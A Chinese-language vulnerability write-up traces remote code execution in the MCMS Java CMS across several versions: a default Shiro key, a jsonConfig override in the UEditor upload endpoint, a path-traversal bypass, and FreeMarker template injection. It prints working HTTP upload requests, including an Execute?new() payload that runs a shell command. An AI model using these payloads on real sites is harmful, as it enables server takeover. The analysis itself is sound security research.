想到最近出了好几个与属性覆盖有关的漏洞,突然想到有一个国产系统也曾经出过这类问题,比较有趣这里简单分享一下,希望把一些东西串起来分享方便学到一些东西
前后端框架信息梳理首先简单从官网可以看出所使用的框架信息以及技术选型
https://gitee.com/mingSoft/MCMS?_from=gitee_search
我们主要关注几个点一个是shiro,一个是freemarker,还有就是具体的一些未鉴权的功能点,同时支持两种部署方式jar/war
关于路由的说明,在启动类当中,指出了扫描的包名前缀为net.mingsoft
1 2 3 4 5 6 7 8 @SpringBootApplication(scanBasePackages = {"net.mingsoft"}) @MapperScan(basePackages={"**.dao","com.baomidou.**.mapper"}) @ServletComponentScan(basePackages = {"net.mingsoft"}) public class MSApplication { public static void main (String[] args) { SpringApplication.run(MSApplication.class, args); } }
因此与路由相关函数只会出现在三个地方
源目录下 ms-basic依赖包下 ms-mdiy依赖包下 这个系统曾出现过很多漏洞,各类后台文件上传利用,注入、任意文件删除等等,但其实都比较鸡肋不适合学习
Shiro反序列化(版本<=5.2.8 )在开始前先简单我们知道shiro的版本高低只是加密方式的改变,实际上反序列化漏洞依然存在,如果系统使用了默认的key那也是存在潜在风险的,而恰好在MCMS<=5.2.8版本下都使用了默认的key,使用这个key生成payload,直接打CB链即可
接下来我们重点看另一个漏洞
前台模板SSTIRCE利用史接下来我们看另一个漏洞,和模板相关的漏洞
因为这里的模板渲染使用了freemarker
,我们便有两个思路:
版本是否在漏洞版本 写法是否安全 在MCMS中关于模板的渲染处理,是通过封装了一个工具类做的处理,在依赖包ms-mdiy
中的net.mingsoft.mdiy.util.ParserUtil#rendering
做处理
MCMS是在5.1版本开始使用freemarker
做模板渲染,并且版本一直没有改变过,传家宝"2.3.31"
对于freemarker的模板,通常是通过api与new进行的利用,当然也有利用限制
对于内置函数api
api_builtin_enabled
为true
时才可使用api函数,而该配置在2.3.22版本之后默认为false
对于内置函数new
从 2.3.17版本以后,官方版本提供了三种TemplateClassResolver对类进行解析:
1、UNRESTRICTED_RESOLVER:可以通过 ClassUtil.forName(className)
获取任何类。
2、SAFER_RESOLVER:不能加载freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor
这三个类。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何类。
可通过freemarker.core.Configurable#setNewBuiltinClassResolver
方法设置TemplateClassResolver
,从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor
这三个类的解析
尽管MCMS的漏洞版本比较高,但是他在5.8版本以下并未对内置函数new做严格限制,具体我们可以看看net.mingsoft.mdiy.util.ParserUtil#rendering
1 2 3 4 5 6 7 8 9 10 11 public static String rendering (Map root, String content) throws IOException, TemplateException { Configuration cfg = new Configuration(Configuration.VERSION_2_3_0); StringTemplateLoader stringLoader = new StringTemplateLoader(); stringLoader.putTemplate("template" , content); cfg.setNumberFormat("#" ); cfg.setTemplateLoader(stringLoader); Template template = cfg.getTemplate("template" , "utf-8" ); StringWriter writer = new StringWriter(); template.process(root, writer); return writer.toString(); }
虽然在freemarker版本在较安全的版本,但并未配置new-builtin-class-resolver,因此接下来我们只需要找到调用的点即可
在高版本后5.2.9,开发者终于意识到这个问题,设置了cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
回到正题,这里我们先从较低的版本说起,以5.2.5来做例子
V<=5.2.5首先是一个能任意控制模板渲染的函数
这个路由非常好找,就在源码路径下为数不多不是CRUD功能的类中net.mingsoft.cms.action.web.MCmsAction#search
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @RequestMapping(value = "search",method = {RequestMethod.GET, RequestMethod.POST}) @ResponseBody public String search (HttpServletRequest request, HttpServletResponse response) { String search = BasicUtil.getString("tmpl" , "search.htm" ); ............ String content = "" ; try { content = ParserUtil.rendering(search, params); } catch (TemplateNotFoundException e) { e.printStackTrace(); } catch (MalformedTemplateNameException e) { e.printStackTrace(); } catch (ParseException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return content; }
可以这里通过tmpl
参数能实现渲染文件的完全控制,但是
在ParserUtil.getPageSize(search, 20)
当中我们会发现,其读取文件过程中使用了hutool
的FileUtil.file
,在这个第三方工具类使用了checkSlip防止目录穿越,因此非常可惜我们现在能渲染任意路径下的文件了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public static File checkSlip (File parentFile, File file) throws IllegalArgumentException { if (null != parentFile && null != file) { String parentCanonicalPath; String canonicalPath; try { parentCanonicalPath = parentFile.getCanonicalPath(); canonicalPath = file.getCanonicalPath(); } catch (IOException var5) { throw new IORuntimeException(var5); } if (!canonicalPath.startsWith(parentCanonicalPath)) { throw new IllegalArgumentException("New file is outside of the parent dir: " + file.getName()); } } return file; }
那要想实现,那必须找到一个能够控制任意路径上传,或者能够配合目录穿越跳转的上传点,这个系统中正好就有,在net.mingsoft.basic.action.web.EditorAction#editor
中,参数传入后交给了MsUeditorActionEnter
类继续处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public String editor (HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String rootPath = BasicUtil.getRealPath("" ); File saveFloder = new File(this .uploadFloderPath); if (saveFloder.isAbsolute()) { rootPath = saveFloder.getPath(); jsonConfig = jsonConfig.replace("{ms.upload}" , "" ); } else { jsonConfig = jsonConfig.replace("{ms.upload}" , "/" + this .uploadFloderPath); } String json = (new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath("" ))).exec(); if (saveFloder.isAbsolute()) { Map data = (Map)JSON.parse(json); data.put("url" , this .uploadMapping.replace("/**" , "" ) + data.get("url" )); return JSON.toJSONString(data); } else { return json; } } public MsUeditorActionEnter (HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super (request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("" ) && jsonConfig.length() >= 0 ) { this .setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this .getConfigManager(); setValue(config, "rootPath" , rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while (iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } }
在初始化过程中,先初始化了父类,这里可以看到,actionType
受我们传入的参数控制,这个参数决定了方法的调用
1 2 3 4 5 6 7 public ActionEnter (HttpServletRequest request, String rootPath) { this .request = request; this .rootPath = rootPath; this .actionType = request.getParameter("action" ); this .contextPath = request.getContextPath(); this .configManager = ConfigManager.getInstance(this .rootPath, this .contextPath, request.getRequestURI()); }
接下来回到MsUeditorActionEnter
构造函数处理过程,紧接着调用了this.getConfigManager()
初始化一些上传配置,而这个配置来源于文件static/plugins/ueditor/1.4.3.3/jsp/config.json
,这个配置文件对上传做了限制,包括保存文件路径模板、大小、允许的后缀等,感兴趣的可以自己看看这个初始化过程,因为不太关键这里就不多叙述
在这里可以看到存在一个参数覆盖的问题(jsonConfig来源于web参数),可以由自定义的输入覆盖默认配置,具体覆盖什么配置待会儿会说
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public MsUeditorActionEnter (HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super (request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("" ) && jsonConfig.length() >= 0 ) { this .setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this .getConfigManager(); setValue(config, "rootPath" , rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while (iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } }
接下来初始化后调用exec方法,这里callback是否传入对我们不是很重要,继续看invoke方法
根据我们之前传入的actionType决定走入哪个分支
可以看到一共有8种类型,对应了不同的漏洞点,因为我们只关心RCE
,所以这里就以上传为例,选择uploadfile
1 2 3 4 5 6 7 8 this .put("config" , 0 );this .put("uploadimage" , 1 );this .put("uploadscrawl" , 2 );this .put("uploadvideo" , 3 );this .put("uploadfile" , 4 );this .put("catchimage" , 5 );this .put("listfile" , 6 );this .put("listimage" , 7 );
在之后调用(new Uploader(this.request, conf)).doExec()
做处理,这里的参数走向我们同样不在乎随便选择一个即可
1 2 3 4 5 6 7 8 9 10 11 public final State doExec () { String filedName = (String)this .conf.get("fieldName" ); State state = null ; if ("true" .equals(this .conf.get("isBase64" ))) { state = Base64Uploader.save(this .request.getParameter(filedName), this .conf); } else { state = BinaryUploader.save(this .request, this .conf); } return state; }
省略其中的不关键的部分,这里我们只需要关注最终保存路径的生成即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ... String savePath = (String)conf.get("savePath" ); String originFileName = fileStream.getName(); String suffix = FileType.getSuffixByFilename(originFileName); originFileName = originFileName.substring(0 , originFileName.length() - suffix.length()); savePath = savePath + suffix; long maxSize = (Long)conf.get("maxSize" );if (!validType(suffix, (String[])((String[])conf.get("allowFiles" )))) { return new BaseState(false , 8 ); } else { savePath = PathFormat.parse(savePath, originFileName); String physicalPath = (String)conf.get("rootPath" ) + savePath; InputStream is = fileStream.openStream(); State storageState = StorageManager.saveFileByInputStream(is, physicalPath, maxSize); is.close(); if (storageState.isSuccess()) { storageState.putInfo("url" , PathFormat.format(savePath)); storageState.putInfo("type" , suffix); storageState.putInfo("original" , originFileName + suffix); } } ...
从配置获取保存的路径 从Multipart解析文件后缀拼接 使用PathFormat.parse处理替换模板标签内容 与根路径拼接并写入文件 在com.baidu.ueditor.PathFormat#parse
的处理过程当中会对filename中字符做替换,导致/
字符丢失因此不能从filename控制路径的穿越
1 filename = filename.replace("$" , "\\$" ).replaceAll("[\\/:*?\"<>|]" , "" );
因此我们只能通过控制savePath
实现完整的路径控制(还记得么,上面一开始提到过可以做参数覆盖),对于我们的uploadfile的action,对应的savepath属性为filePathFormat,因此构造,当然也可以覆盖其他属性参数这里不重复
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Ps:{{url()}是yakit的url编码的标签 POST /static /plugins/ueditor/1.4 .3 .3 /jsp/editor.do ?jsonConfig={{url({filePathFormat:'/template/1/default/2' })}}&action=uploadfile HTTP/1.1 Host: 127.0 .0 .1 :8079 Accept: *
V<=5.2.8接下来我们看看开发是如何修复这个问题的,这里我的环境是5.2.8,这一次开发意识到了问题所在,做了两个步骤的修复
rootPath由程序控制在必须为upload目录下 对每一个路径配置做了一次路径归一化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public String editor (HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String uploadFloderPath = MSProperties.upload.path; String rootPath = BasicUtil.getRealPath(uploadFloderPath); jsonConfig = jsonConfig.replace("{ms.upload}" , "/" + uploadFloderPath); Map<String, Object> map = (Map)JSONObject.parse(jsonConfig); String imagePathFormat = (String)map.get("imagePathFormat" ); imagePathFormat = FileUtil.normalize(imagePathFormat); String filePathFormat = (String)map.get("filePathFormat" ); filePathFormat = FileUtil.normalize(filePathFormat); String videoPathFormat = (String)map.get("videoPathFormat" ); videoPathFormat = FileUtil.normalize(videoPathFormat); map.put("imagePathFormat" , imagePathFormat); map.put("filePathFormat" , filePathFormat); map.put("videoPathFormat" , videoPathFormat); jsonConfig = JSONObject.toJSONString(map); MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath("" )); String json = actionEnter.exec(); Map jsonMap = (Map)JSON.parseObject(json, Map.class); jsonMap.put("url" , "/" .concat(uploadFloderPath).concat(jsonMap.get("url" ) + "" )); return JSONObject.toJSONString(jsonMap); }
那是不是就没办法了呢?请独立思考三分钟
之前提到了在PathFormat.parse
当中,有对最终路径当中的模板做替换(当然这里和老版本的逻辑不一样,简化了很多,分析时以当前版本为准,有兴趣可以看看老版),可以看到会取{xxx}中的内容,之后调用getString做替换
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static String parse (String input, String filename) { Pattern pattern = Pattern.compile("\\{([^\\}]+)\\}" , 2 ); Matcher matcher = pattern.matcher(input); String matchStr = null ; currentDate = new Date(); StringBuffer sb = new StringBuffer(); while (matcher.find()) { matchStr = matcher.group(1 ); if (matchStr.indexOf("filename" ) != -1 ) { filename = filename.replace("$" , "\\$" ).replaceAll("[\\/:*?\"<>|]" , "" ); matcher.appendReplacement(sb, filename); } else { matcher.appendReplacement(sb, getString(matchStr)); } } matcher.appendTail(sb); return sb.toString(); }
可以看到如果字符不在当前的case当中会直接返回
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private static String getString (String pattern) { pattern = pattern.toLowerCase(); if (pattern.indexOf("time" ) != -1 ) { return getTimestamp(); } else if (pattern.indexOf("yyyy" ) != -1 ) { return getFullYear(); } else if (pattern.indexOf("yy" ) != -1 ) { return getYear(); } else if (pattern.indexOf("mm" ) != -1 ) { return getMonth(); } else if (pattern.indexOf("dd" ) != -1 ) { return getDay(); } else if (pattern.indexOf("hh" ) != -1 ) { return getHour(); } else if (pattern.indexOf("ii" ) != -1 ) { return getMinute(); } else if (pattern.indexOf("ss" ) != -1 ) { return getSecond(); } else { return pattern.indexOf("rand" ) != -1 ? getRandom(pattern) : pattern; } }
有了这个思路我们便可以构造如下payload绕过校验
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Ps:{{url()}是yakit的url编码的标签 POST /static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig={filePathFormat:'/{.}./template/1/default/2'}&action=uploadfile HTTP/1.1 Host: 127.0.0.1:8080Accept : */*Accept-Encoding : gzip, deflateConnection : closeContent-Length : 362Content-Type : multipart/form-data; boundary=------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXAUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36X_Requested_With: UTF-8 --------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA Content-Disposition: form-data; name ="upload" ; filename ="1.txt" <#assign value ="freemarker.template.utility.Execute" ?new()>${value("open -na Calculator" )} --------------------------AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--
V<=5.3.5(目前最新版)首先来看最新版做了哪些变动
在最外层做了jsonConfig判断内容(似乎也没修复什么) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 public String editor (HttpServletRequest request, HttpServletResponse response, String jsonConfig) { String uploadFolderPath = MSProperties.upload.path; boolean enableWeb = MSProperties.upload.enableWeb; if (!enableWeb) { HashMap<String, String> map = new HashMap(); map.put("state" , "front end upload is not enabled" ); return JSONUtil.toJsonStr(map); } else { String rootPath = BasicUtil.getRealPath(uploadFolderPath); jsonConfig = jsonConfig.replace("{ms.upload}" , "/" + uploadFolderPath); Map<String, Object> map = (Map)JSONUtil.toBean(jsonConfig, Map.class); String imagePathFormat = (String)map.get("imagePathFormat" ); imagePathFormat = FileUtil.normalize(imagePathFormat); String filePathFormat = (String)map.get("filePathFormat" ); filePathFormat = FileUtil.normalize(filePathFormat); String videoPathFormat = (String)map.get("videoPathFormat" ); videoPathFormat = FileUtil.normalize(videoPathFormat); map.put("imagePathFormat" , imagePathFormat); map.put("filePathFormat" , filePathFormat); map.put("videoPathFormat" , videoPathFormat); jsonConfig = JSONUtil.toJsonStr(map); if (jsonConfig == null || !jsonConfig.contains("../" ) && !jsonConfig.contains("..\\" )) { MsUeditorActionEnter actionEnter = new MsUeditorActionEnter(request, rootPath, jsonConfig, BasicUtil.getRealPath("" )); String json = actionEnter.exec(); Map jsonMap = (Map)JSONUtil.toBean(json, Map.class); jsonMap.put("url" , "/" .concat(uploadFolderPath).concat(jsonMap.get("url" ) + "" )); return JSONUtil.toJsonStr(jsonMap); } else { throw new BusinessException(BundleUtil.getString("net.mingsoft.base.resources.resources" , "err.error" , new String[]{BundleUtil.getString("net.mingsoft.basic.resources.resources" , "file.path" , new String[0 ])})); } } }
禁止通过属性覆盖修改允许的后缀(我估计开发以为模板引擎必须要htm后缀才行了,忘记他自己写的函数是可以随意指定后缀了2333),以及文件读取相关属性 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public MsUeditorActionEnter (HttpServletRequest request, String rootPath, String jsonConfig, String configPath) { super (request, rootPath); if (jsonConfig != null && !jsonConfig.trim().equals("" ) && jsonConfig.length() >= 0 ) { this .setConfigManager(ConfigManager.getInstance(configPath, request.getContextPath(), request.getRequestURI())); ConfigManager config = this .getConfigManager(); setValue(config, "rootPath" , rootPath); JSONObject _jsonConfig = new JSONObject(jsonConfig); _jsonConfig.remove("fileManagerAllowFiles" ); _jsonConfig.remove("imageManagerAllowFiles" ); _jsonConfig.remove("catcherAllowFiles" ); _jsonConfig.remove("imageAllowFiles" ); _jsonConfig.remove("fileAllowFiles" ); _jsonConfig.remove("videoAllowFiles" ); _jsonConfig.remove("imageManagerListPath" ); _jsonConfig.remove("fileManagerListPath" ); JSONObject jsonObject = config.getAllConfig(); Iterator iterator = _jsonConfig.keys(); while (iterator.hasNext()) { String key = (String)iterator.next(); jsonObject.put(key, _jsonConfig.get(key)); } } }
引擎解析测 设置禁止加载任意类
1 cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER)
但这样并不能完全修复问题,可以参考辅助学习(https://www.cnblogs.com/escape-w/p/17326592.html),虽然这个项目不存在这些问题就是了
那么如何才能rce呢?提示一下,我们知道此时文件上传其实仍然能够跨目录写的,那么只能从白名单中受限的后缀入手,发挥你的想象,这里就不直接给出答案了